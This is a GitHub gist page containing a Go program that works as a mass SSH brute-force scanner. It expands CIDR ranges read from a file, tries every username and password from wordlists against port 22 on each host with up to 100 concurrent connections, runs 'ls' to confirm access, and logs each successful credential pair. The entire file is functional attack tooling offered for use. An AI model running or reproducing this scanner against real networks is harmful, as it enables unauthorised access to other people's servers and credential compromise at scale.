Created
January 24, 2016 10:24
-
-
Save oiooj/ebf4989879a4ceb58d62 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bufio" | |
"fmt" | |
"log" | |
"net" | |
"os" | |
"strings" | |
"sync" | |
"time" | |
"runtime" | |
"github.com/oiooj/ssh" | |
) | |
var ( | |
timeout = time.Duration(5) * time.Second | |
checktimeout = time.Duration(1) * time.Second | |
concurrence = 100 | |
wg sync.WaitGroup | |
mu sync.RWMutex | |
port = "22" | |
ipfile = "./ip.log" | |
userfile = "./user.log" | |
passfile = "./pass.log" | |
logger = log.New(os.Stdout, "[SCAN] ", log.LstdFlags) | |
ip_dic []string | |
user_dic []string | |
pass_dic []string | |
ipmap map[string]bool | |
maplock sync.RWMutex | |
) | |
func Allhosts(cidr string) ([]string, error) { | |
ip, ipnet, err := net.ParseCIDR(cidr) | |
if err != nil { | |
return nil, err | |
} | |
var ips []string | |
for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); inc(ip) { | |
ips = append(ips, ip.String()) | |
} | |
// remove network address and broadcast address | |
return ips[1 : len(ips)-1], nil | |
} | |
func inc(ip net.IP) { | |
for j := len(ip) - 1; j >= 0; j-- { | |
ip[j]++ | |
if ip[j] > 0 { | |
break | |
} | |
} | |
} | |
func ReadLine(fileName string) ([]string, error) { | |
var res []string | |
file, err := os.Open(fileName) | |
if err != nil { | |
return res, err | |
} | |
defer file.Close() | |
scanner := bufio.NewScanner(file) | |
for scanner.Scan() { | |
res = append(res, strings.TrimSpace(scanner.Text())) | |
} | |
return res, nil | |
} | |
func init() { | |
var err error | |
ipmap = make(map[string]bool) | |
ip_dic, err = ReadLine(ipfile) | |
if err != nil { | |
logger.Fatalf("read file %s failed: %s", ipfile, err) | |
} | |
user_dic, err = ReadLine(userfile) | |
if err != nil { | |
logger.Fatalf("read file %s failed: %s", userfile, err) | |
} | |
pass_dic, err = ReadLine(passfile) | |
if err != nil { | |
logger.Fatalf("read file %s failed: %s", passfile, err) | |
} | |
} | |
func main() { | |
runtime.GOMAXPROCS(runtime.NumCPU()) | |
start := time.Now() | |
concurrenceLimit := 0 | |
for _, username := range user_dic { | |
for _, password := range pass_dic { | |
for _, cidr := range ip_dic { | |
var ips []string | |
var err error | |
if ips, err = Allhosts(cidr); err != nil { | |
logger.Printf("Get all ips from CIDR failed: %s", err) | |
continue | |
} | |
for _, ip := range ips { | |
maplock.Lock() | |
if _, ok := ipmap[ip]; !ok { | |
ipmap[ip] = true | |
} | |
maplock.Unlock() | |
if concurrenceLimit > concurrence { | |
for{ | |
time.Sleep(checktimeout) | |
if concurrenceLimit < concurrence { | |
break | |
} | |
} | |
} | |
maplock.Lock() | |
if ipmap[ip] { | |
maplock.Unlock() | |
mu.Lock() | |
concurrenceLimit++ | |
mu.Unlock() | |
wg.Add(1) | |
go func(host, port, username, password string) { | |
defer func(){ | |
wg.Done() | |
mu.Lock() | |
concurrenceLimit-- | |
mu.Unlock() | |
}() | |
hostport := fmt.Sprintf("%s:%s", host, port) | |
client, session, err := connectToHost(username, password, hostport) | |
if err != nil { | |
if strings.Contains(err.Error(), "i/o timeout") || strings.Contains(err.Error(), "connection refused"){ | |
maplock.Lock() | |
ipmap[ip] = false | |
maplock.Unlock() | |
} | |
logger.Printf("connect [%s] failed: [%s]", host, err) | |
return | |
} | |
_, err = session.CombinedOutput("ls") | |
if err != nil { | |
logger.Printf("exec command failed: %s", err) | |
return | |
} | |
logger.Printf("connect [%s] [%s] [%s] success !!! ", host, username, password) | |
client.Close() | |
}(ip, port, username, password) | |
}else{ | |
maplock.Unlock() | |
logger.Printf("skip %s", ip) | |
} | |
} | |
} | |
} | |
} | |
wg.Wait() | |
dis := time.Now().Sub(start).Seconds() | |
logger.Printf("Total time : %f seconds", dis) | |
} | |
func connectToHost(user, pass, host string) (*ssh.Client, *ssh.Session, error) { | |
sshConfig := &ssh.ClientConfig{ | |
User: user, | |
Auth: []ssh.AuthMethod{ssh.Password(pass)}, | |
} | |
client, err := ssh.Dial("tcp", host, sshConfig, timeout) | |
if err != nil { | |
return nil, nil, err | |
} | |
session, err := client.NewSession() | |
if err != nil { | |
client.Close() | |
return nil, nil, err | |
} | |
return client, session, nil | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment